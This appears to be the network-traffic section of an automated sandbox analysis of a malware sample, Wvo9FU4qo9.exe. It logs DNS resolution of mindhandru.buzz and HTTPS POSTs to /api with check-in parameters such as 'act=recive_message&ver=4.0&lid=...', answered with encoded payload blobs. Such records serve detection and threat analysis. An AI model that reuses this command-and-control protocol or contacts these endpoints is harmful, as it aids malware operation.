Dec 27, 2024 14:53:28.907695055 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:30.119160891 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:30.119268894 CET	49708	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:30.121287107 CET	49708	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:30.121299982 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:30.121577024 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:30.123306990 CET	49708	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:30.123570919 CET	49708	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:30.123606920 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:30.964942932 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:30.965048075 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:30.965214014 CET	49708	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:30.965538979 CET	49708	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:30.965563059 CET	443	49708	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:31.104435921 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:31.104504108 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:31.104573965 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:31.104990959 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:31.105005980 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:32.414789915 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:32.414988995 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:32.416991949 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:32.417004108 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:32.417258978 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:32.418849945 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:32.419060946 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:32.419096947 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:32.419143915 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:32.459326982 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:33.259712934 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:33.259825945 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:33.259902954 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:33.260232925 CET	49709	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:33.260252953 CET	443	49709	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:33.437532902 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:33.437587023 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:33.437659979 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:33.438123941 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:33.438138962 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:34.696901083 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:34.696988106 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:34.699841976 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:34.699857950 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:34.700112104 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:34.701400995 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:34.701543093 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:34.701582909 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:34.701653957 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:34.701663971 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:36.111803055 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:36.112124920 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:36.112220049 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:36.112375975 CET	49710	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:36.112405062 CET	443	49710	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:36.570568085 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:36.570619106 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:36.570693970 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:36.571029902 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:36.571042061 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:37.781738043 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:37.781847954 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:37.783330917 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:37.783344984 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:37.783591032 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:37.784930944 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:37.785054922 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:37.785060883 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:38.534101009 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:38.534208059 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:38.534269094 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:38.534450054 CET	49712	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:38.534472942 CET	443	49712	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:38.945080996 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:38.945105076 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:38.945192099 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:38.945523024 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:38.945535898 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.357620001 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.357786894 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.359416008 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.359442949 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.359683037 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.367131948 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.368505955 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.368593931 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.368772030 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.368818045 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.369002104 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.369101048 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.369282961 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.369333029 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.369784117 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.369812965 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.370055914 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.370095015 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.370105982 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.370304108 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.370328903 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.411345005 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.411566973 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.411622047 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.411643982 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.459350109 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.459901094 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.459969997 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.460004091 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.507339001 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.507453918 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:40.555352926 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:40.730777979 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:42.811220884 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:42.811336994 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:42.811404943 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:42.811578989 CET	49714	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:42.811600924 CET	443	49714	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:42.822957993 CET	49715	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:42.822999954 CET	443	49715	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:42.823076010 CET	49715	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:42.823410034 CET	49715	443	192.168.2.9	104.21.11.101
Dec 27, 2024 14:53:42.823426008 CET	443	49715	104.21.11.101	192.168.2.9
Dec 27, 2024 14:53:43.243801117 CET	49715	443	192.168.2.9	104.21.11.101

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 14:53:23.261353016 CET	62692	53	192.168.2.9	1.1.1.1
Dec 27, 2024 14:53:23.569819927 CET	53	62692	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 14:53:23.261353016 CET	192.168.2.9	1.1.1.1	0x5612	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 14:53:23.569819927 CET	1.1.1.1	192.168.2.9	0x5612	No error (0)	mindhandru.buzz		104.21.11.101	A (IP address)	IN (0x0001)	false
Dec 27, 2024 14:53:23.569819927 CET	1.1.1.1	192.168.2.9	0x5612	No error (0)	mindhandru.buzz		172.67.165.185	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

mindhandru.buzz

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49706	104.21.11.101	443	6596	C:\Users\user\Desktop\Wvo9FU4qo9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:53:25 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mindhandru.buzz
2024-12-27 13:53:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 13:53:25 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:53:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mhff8adi44d2e1puuon6ed0929; expires=Tue, 22 Apr 2025 07:40:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0yY02eNG7OIt8uoe7wJdQ4y6Efmm24JTYd%2FDNGdbwwbztkr65A1PEU0btmRqU9HTbeaHRBozRBJJqow5DyG3P83Eg8iUxvO%2Fhfh7VKdA%2Bmf53glWVdAKidakz6dxDB3FxNE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89cbf48ee16a5e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1726&min_rtt=1721&rtt_var=656&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=906&delivery_rate=1656267&cwnd=186&unsent_bytes=0&cid=07f6d500345c281b&ts=773&x=0"
2024-12-27 13:53:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 13:53:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49707	104.21.11.101	443	6596	C:\Users\user\Desktop\Wvo9FU4qo9.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 13:53:27 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: mindhandru.buzz
2024-12-27 13:53:27 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-27 13:53:27 UTC	1133	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 13:53:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ns677i6lljhgomr9sal3ucotk1; expires=Tue, 22 Apr 2025 07:40:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vFerSzH4%2FNTrOC4dOfu%2FpihYjXtFqUyPaNzCVrhvCB3uIBd6sZwMO3qMyjc6LnTW8%2BL6R%2B%2FAyx1xkcFgly4Ivbmev8EUy139%2B6%2FFiHjkvAEtuJbzurFByWRQlEUHQW%2BNykE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89cc021c2f42b7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2150&min_rtt=1779&rtt_var=932&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=946&delivery_rate=1641371&cwnd=212&unsent_bytes=0&cid=91d6fbc241d8511a&ts=762&x=0"
2024-12-27 13:53:27 UTC	236	IN	Data Raw: 31 63 62 35 0d 0a 45 54 34 70 52 4a 5a 57 38 6a 49 4b 63 79 72 7a 58 55 4f 5a 78 61 69 4c 31 70 67 34 38 57 78 48 5a 37 65 70 50 4b 6b 5a 78 73 35 71 48 46 39 6d 72 47 4c 65 45 48 6b 57 43 4d 6b 70 4d 65 79 67 68 4b 6d 33 2f 42 72 4c 43 69 59 4c 78 4d 77 51 69 32 2b 72 37 43 74 59 53 43 6a 6c 4d 39 34 51 62 77 73 49 79 51 59 34 75 36 44 47 71 65 79 36 58 5a 73 4f 4a 67 76 56 79 46 66 47 61 61 71 74 65 56 4a 4f 4c 50 4d 31 6c 6c 4e 6d 48 6b 2b 57 4f 43 4c 7a 71 38 48 6d 76 76 55 61 33 55 34 69 48 5a 57 54 48 75 52 38 73 71 39 63 58 31 6f 76 74 43 76 65 53 53 67 57 52 4e 46 6e 59 66 69 67 79 75 65 77 2f 46 4f 5a 42 43 38 44 31 4d 31 57 32 58 43 67 70 6e 6c 63 54 53 33 35 50 49 4a 65 62 42 6c 45 6b 44 Data Ascii: 1cb5ET4pRJZW8jIKcyrzXUOZxaiL1pg48WxHZ7epPKkZxs5qHF9mrGLeEHkWCMkpMeyghKm3/BrLCiYLxMwQi2+r7CtYSCjlM94QbwsIyQY4u6DGqey6XZsOJgvVyFfGaaqteVJOLPM1llNmHk+WOCLzq8HmvvUa3U4iHZWTHuR8sq9cX1ovtCveSSgWRNFnYfigyuew/FOZBC8D1M1W2XCgpnlcTS35PIJebBlEkD
2024-12-27 13:53:27 UTC	1369	IN	Data Raw: 49 69 75 2b 6d 4b 37 71 79 36 41 74 4e 64 46 77 62 45 32 6b 76 47 61 36 4c 73 62 42 4a 53 5a 76 4d 34 30 41 67 6f 47 55 53 66 4f 69 4c 30 6f 4d 76 70 70 76 56 61 6b 41 59 74 41 64 2f 45 55 63 52 31 72 71 74 37 56 55 77 70 38 7a 79 57 58 32 74 52 42 74 45 34 4f 62 76 2f 69 73 6d 6b 2b 56 6d 48 41 7a 52 46 79 6f 56 48 69 33 79 6f 37 43 73 63 54 53 6a 31 4f 5a 42 43 59 42 70 44 6c 43 30 71 38 71 72 48 36 62 6e 77 56 5a 41 4f 49 67 2f 66 78 46 54 50 64 71 6d 71 63 31 77 4c 61 4c 51 7a 69 42 41 77 55 57 75 55 4c 79 62 33 73 59 6a 54 39 4f 55 55 69 6b 34 69 43 5a 57 54 48 73 4e 2b 70 36 39 34 55 30 67 75 2f 79 61 51 51 6d 34 63 54 59 4d 35 4a 50 57 74 79 66 75 2b 39 46 79 51 42 79 34 4d 30 4d 78 61 69 7a 58 6b 71 32 73 63 45 32 62 56 4f 5a 74 63 59 67 5a 49 30 Data Ascii: Iiu+mK7qy6AtNdFwbE2kvGa6LsbBJSZvM40AgoGUSfOiL0oMvppvVakAYtAd/EUcR1rqt7VUwp8zyWX2tRBtE4Obv/ismk+VmHAzRFyoVHi3yo7CscTSj1OZBCYBpDlC0q8qrH6bnwVZAOIg/fxFTPdqmqc1wLaLQziBAwUWuULyb3sYjT9OUUik4iCZWTHsN+p694U0gu/yaQQm4cTYM5JPWtyfu+9FyQBy4M0MxaizXkq2scE2bVOZtcYgZI0
2024-12-27 13:53:27 UTC	1369	IN	Data Raw: 6e 78 76 75 34 38 46 79 63 41 79 6c 46 6d 34 74 5a 30 7a 76 38 37 46 6c 66 58 79 58 2b 64 71 56 54 5a 68 39 50 68 33 38 2b 74 62 36 4b 37 72 69 36 41 74 4d 44 4a 41 33 54 32 56 48 47 65 4b 71 69 66 46 6c 45 4c 76 51 30 6e 56 56 73 47 6b 4f 53 4d 69 58 70 72 63 72 68 73 66 74 51 6d 55 35 72 52 64 4c 54 48 70 4d 37 6c 62 74 34 48 6e 34 6c 2b 6a 71 58 52 69 67 4f 42 6f 68 2f 4a 76 66 6e 6b 71 6d 35 38 6c 2b 57 41 53 51 50 32 38 35 55 78 33 4f 71 72 32 46 54 54 79 62 34 50 4a 70 64 5a 68 56 41 6d 44 51 71 2f 61 66 4c 34 2f 53 30 47 70 51 57 5a 56 32 56 2f 31 6e 48 64 71 76 75 52 6c 39 46 4b 50 4d 69 30 45 38 6d 43 41 69 57 4d 32 47 6a 35 38 62 67 74 50 46 51 6c 77 34 69 43 4e 44 49 57 63 68 32 6f 36 5a 39 57 30 38 71 2f 54 6d 57 55 47 38 56 54 59 4d 36 4b 50 Data Ascii: nxvu48FycAylFm4tZ0zv87FlfXyX+dqVTZh9Ph38+tb6K7ri6AtMDJA3T2VHGeKqifFlELvQ0nVVsGkOSMiXprcrhsftQmU5rRdLTHpM7lbt4Hn4l+jqXRigOBoh/Jvfnkqm58l+WASQP285Ux3Oqr2FTTyb4PJpdZhVAmDQq/afL4/S0GpQWZV2V/1nHdqvuRl9FKPMi0E8mCAiWM2Gj58bgtPFQlw4iCNDIWch2o6Z9W08q/TmWUG8VTYM6KP
2024-12-27 13:53:27 UTC	1369	IN	Data Raw: 75 75 77 61 6a 45 41 38 52 64 4c 48 48 70 4d 37 72 61 56 68 55 6b 55 76 2b 54 4b 59 56 32 59 63 51 35 63 30 4a 76 79 68 78 2b 47 35 2f 31 6d 53 43 69 38 58 31 73 42 55 78 6e 48 6b 34 6a 4e 62 55 32 61 73 64 4c 64 63 51 51 46 54 67 79 6c 68 35 4f 6e 54 71 62 50 32 47 73 74 4f 4a 67 72 63 78 46 62 44 64 4b 75 6f 66 56 70 4e 4b 2f 45 37 6d 6b 4a 67 48 30 57 61 4d 43 72 70 70 38 66 74 75 50 35 53 6d 41 52 6c 53 35 58 4d 52 6f 73 6a 35 4a 6c 2b 55 30 73 6c 34 6e 53 50 48 6e 46 52 54 35 31 2f 65 62 75 72 78 4f 6d 37 39 6c 61 59 42 69 51 4a 32 38 78 62 77 6e 4f 73 76 6e 4a 59 51 79 66 36 4f 35 46 55 62 52 52 4d 6c 6a 73 6e 39 4f 65 45 71 62 50 69 47 73 74 4f 43 69 4c 67 69 58 2f 78 4f 37 76 69 61 68 78 4d 4b 72 52 73 30 46 78 72 48 55 43 65 4f 53 6a 33 72 63 50 Data Ascii: uuwajEA8RdLHHpM7raVhUkUv+TKYV2YcQ5c0Jvyhx+G5/1mSCi8X1sBUxnHk4jNbU2asdLdcQQFTgylh5OnTqbP2GstOJgrcxFbDdKuofVpNK/E7mkJgH0WaMCrpp8ftuP5SmARlS5XMRosj5Jl+U0sl4nSPHnFRT51/eburxOm79laYBiQJ28xbwnOsvnJYQyf6O5FUbRRMljsn9OeEqbPiGstOCiLgiX/xO7viahxMKrRs0FxrHUCeOSj3rcP
2024-12-27 13:53:27 UTC	1369	IN	Data Raw: 5a 63 4e 49 51 44 61 79 6c 2f 4e 61 61 4f 6c 59 56 4a 47 4b 66 77 38 6d 56 46 73 46 45 57 58 4d 79 76 36 6f 4d 54 6e 76 4c 6f 55 30 77 6b 39 52 59 32 4c 66 39 74 67 74 72 70 2b 66 55 59 70 74 43 76 65 53 53 67 57 52 4e 46 6e 59 66 4b 31 7a 75 53 6d 38 31 32 64 41 53 59 58 31 4d 5a 56 32 58 79 72 71 48 52 51 54 53 6e 79 4e 5a 56 61 5a 42 5a 4e 6d 6a 41 74 75 2b 6d 4b 37 71 79 36 41 74 4d 67 4c 68 62 43 79 46 44 41 62 62 2f 73 62 42 4a 53 5a 76 4d 34 30 41 67 6f 45 6b 4f 61 4f 79 48 33 70 38 37 6b 74 4f 68 56 6c 41 6b 73 44 73 66 42 57 63 78 77 72 4b 64 38 57 6c 6b 71 2b 69 61 56 51 6e 70 52 42 74 45 34 4f 62 76 2f 69 74 2b 7a 36 6b 71 51 54 42 51 54 31 74 31 56 78 6e 66 6b 73 7a 31 46 43 79 48 34 64 4d 67 51 62 68 35 42 6b 6a 41 67 38 71 76 48 37 4c 33 2f Data Ascii: ZcNIQDayl/NaaOlYVJGKfw8mVFsFEWXMyv6oMTnvLoU0wk9RY2Lf9tgtrp+fUYptCveSSgWRNFnYfK1zuSm812dASYX1MZV2XyrqHRQTSnyNZVaZBZNmjAtu+mK7qy6AtMgLhbCyFDAbb/sbBJSZvM40AgoEkOaOyH3p87ktOhVlAksDsfBWcxwrKd8Wlkq+iaVQnpRBtE4Obv/it+z6kqQTBQT1t1Vxnfksz1FCyH4dMgQbh5BkjAg8qvH7L3/
2024-12-27 13:53:27 UTC	1369	IN	Data Raw: 34 4c 35 38 68 46 69 32 54 71 74 54 4e 62 52 32 61 73 64 4a 4e 58 61 78 42 43 6d 44 4d 75 2f 4b 50 59 34 37 50 6f 57 35 49 46 4b 41 6e 56 78 6c 50 42 65 71 32 68 66 31 46 4d 49 66 73 78 30 42 34 6f 46 6c 44 52 5a 32 48 61 71 73 48 6c 37 36 41 61 6a 45 41 38 52 64 4c 48 48 70 4d 37 70 4b 5a 32 56 6b 59 6c 2b 7a 65 43 55 57 34 44 53 4a 77 31 4d 2f 47 73 7a 2b 53 35 39 31 6d 56 43 43 34 4a 78 38 4a 65 79 48 44 6b 34 6a 4e 62 55 32 61 73 64 4c 4e 48 66 68 74 50 6e 53 6b 71 2b 71 54 63 35 4b 53 36 46 4e 4d 66 49 68 53 56 6b 30 6a 62 62 4b 4f 7a 50 55 55 4c 49 66 68 30 79 42 42 75 47 45 36 57 4f 53 2f 70 6f 73 7a 6d 75 2f 4e 54 6c 77 59 6d 42 64 48 50 57 63 35 34 71 4b 64 30 58 30 51 69 2f 54 71 5a 58 79 68 66 43 4a 59 6e 59 61 50 6e 36 2f 4b 33 39 6c 66 54 45 Data Ascii: 4L58hFi2TqtTNbR2asdJNXaxBCmDMu/KPY47PoW5IFKAnVxlPBeq2hf1FMIfsx0B4oFlDRZ2HaqsHl76AajEA8RdLHHpM7pKZ2VkYl+zeCUW4DSJw1M/Gsz+S591mVCC4Jx8JeyHDk4jNbU2asdLNHfhtPnSkq+qTc5KS6FNMfIhSVk0jbbKOzPUULIfh0yBBuGE6WOS/poszmu/NTlwYmBdHPWc54qKd0X0Qi/TqZXyhfCJYnYaPn6/K39lfTE
2024-12-27 13:53:27 UTC	276	IN	Data Raw: 4c 45 49 74 38 76 4f 77 72 48 47 73 74 34 6a 47 58 52 69 6f 6b 53 35 38 78 4a 75 33 6e 31 64 62 36 75 6c 57 4a 54 6e 30 38 7a 49 74 5a 78 7a 76 38 37 47 5a 62 53 79 48 75 49 70 64 63 65 52 70 46 6e 52 30 75 2f 4c 48 4a 35 72 66 72 55 39 38 46 4b 45 57 62 69 31 6e 54 4f 2f 7a 73 58 46 74 64 4a 64 73 33 67 56 6b 6f 58 77 69 57 4b 57 47 6a 35 2f 53 70 70 76 6c 4b 6b 41 45 30 4f 35 57 54 52 2f 55 37 72 37 70 30 54 45 67 77 2f 7a 6d 63 51 56 5a 52 45 4d 56 74 63 36 6e 31 6d 50 62 30 35 57 58 64 54 69 52 46 6a 66 4a 48 69 32 33 6b 39 43 45 53 43 7a 53 30 62 4e 41 58 61 77 4e 61 6c 7a 77 33 2b 4f 44 30 31 35 50 73 55 4a 51 65 49 68 4c 61 69 78 43 4c 64 4f 54 30 53 68 78 43 49 65 38 6c 68 6c 31 34 46 67 69 75 63 57 48 6a 35 35 4b 70 67 66 6c 55 6e 51 6b 7a 46 4a Data Ascii: LEIt8vOwrHGst4jGXRiokS58xJu3n1db6ulWJTn08zItZxzv87GZbSyHuIpdceRpFnR0u/LHJ5rfrU98FKEWbi1nTO/zsXFtdJds3gVkoXwiWKWGj5/SppvlKkAE0O5WTR/U7r7p0TEgw/zmcQVZREMVtc6n1mPb05WXdTiRFjfJHi23k9CESCzS0bNAXawNalzw3+OD015PsUJQeIhLaixCLdOT0ShxCIe8lhl14FgiucWHj55KpgflUnQkzFJ
2024-12-27 13:53:27 UTC	1369	IN	Data Raw: 32 63 36 37 0d 0a 44 74 66 43 4a 55 75 59 61 50 33 6d 4c 4c 68 71 51 33 44 58 44 70 4c 7a 49 74 49 69 79 50 32 34 6a 4e 4f 43 33 36 30 63 35 4e 43 65 68 64 4c 68 7a 78 6d 78 5a 6e 74 38 37 6e 38 54 59 49 77 47 77 4c 50 78 6c 6a 63 61 75 69 35 63 46 4a 46 49 65 4a 30 33 68 42 6e 55 52 43 6f 66 32 6d 37 6d 49 53 70 72 4c 6f 43 30 7a 73 6d 43 39 76 4d 53 4e 6f 32 67 37 5a 2b 57 6c 77 33 74 48 72 51 56 69 68 4a 47 4e 39 2f 4a 65 72 6e 6b 72 6e 6d 6f 51 2f 41 57 58 56 58 79 6f 56 48 69 32 33 6b 39 43 45 53 43 7a 53 30 62 4e 41 58 61 77 4e 61 6c 7a 77 33 2b 4f 44 30 31 35 72 39 58 4a 59 4a 4e 55 66 37 77 45 72 4d 4f 2b 72 73 66 42 77 54 48 37 52 38 30 47 38 6d 55 56 44 52 5a 32 48 4f 70 4d 54 6e 73 2b 78 4c 33 69 41 69 41 39 44 4d 54 6f 6c 56 72 37 68 30 48 41 Data Ascii: 2c67DtfCJUuYaP3mLLhqQ3DXDpLzItIiyP24jNOC360c5NCehdLhzxmxZnt87n8TYIwGwLPxljcaui5cFJFIeJ03hBnURCof2m7mISprLoC0zsmC9vMSNo2g7Z+Wlw3tHrQVihJGN9/JernkrnmoQ/AWXVXyoVHi23k9CESCzS0bNAXawNalzw3+OD015r9XJYJNUf7wErMO+rsfBwTH7R80G8mUVDRZ2HOpMTns+xL3iAiA9DMTolVr7h0HA
